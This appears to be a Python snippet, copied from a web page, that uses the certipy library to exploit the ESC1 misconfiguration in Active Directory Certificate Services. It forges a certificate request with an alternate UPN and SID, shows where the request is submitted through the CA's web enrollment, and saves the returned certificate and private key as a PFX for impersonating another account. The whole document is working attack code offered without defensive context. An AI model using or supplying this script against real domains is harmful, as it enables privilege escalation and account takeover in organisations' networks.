Copy from certipy.lib.certificate import (
create_csr,
create_pfx,
csr_to_der,
der_to_pem,
pem_to_cert,
cert_id_to_parts,
get_identifications_from_certificate,
get_object_sid_from_certificate
)
from certipy.lib.formatting import print_certificate_identifications
username = '[email protected] '
alt_upn = '[email protected] '
alt_sid = 'S-1-5-21-XXXXXXXXX-XXXXXXXXXX-XXXXXXXXX-1000'
template = 'ESC1'
csr, key = create_csr(
username,
alt_dns=None,
alt_upn=alt_upn,
alt_sid=alt_sid,
key=None,
key_size=2048,
subject=None,
renewal_cert=None,
application_policies=[]
)
attributes = '\n'.join([f'CertificateTemplate:{template}', f'SAN:upn={alt_upn}'])
print(der_to_pem(csr_to_der(csr), "CERTIFICATE REQUEST"))
print(attributes)
# https://CA01.megacorp.local/certsrv/certnew.cer?ReqID=1337&Enc=b64
pem = b'''-----BEGIN CERTIFICATE-----
...
-----END CERTIFICATE-----'''
cert = pem_to_cert(pem)
identifications = get_identifications_from_certificate(cert)
print_certificate_identifications(identifications)
object_sid = get_object_sid_from_certificate(cert)
if object_sid is not None:
print(f'[*] Certificate object SID is {repr(object_sid)}')
else:
print('[!] Certificate has no object SID')
out, _ = cert_id_to_parts(identifications)
if out is None:
out = username
out = out.rstrip('$').lower()
with open(f'{out}.pfx', 'wb') as f:
f.write(create_pfx(key, cert))
print(f'[+] Saved certificate and private key to {out}.pfx') 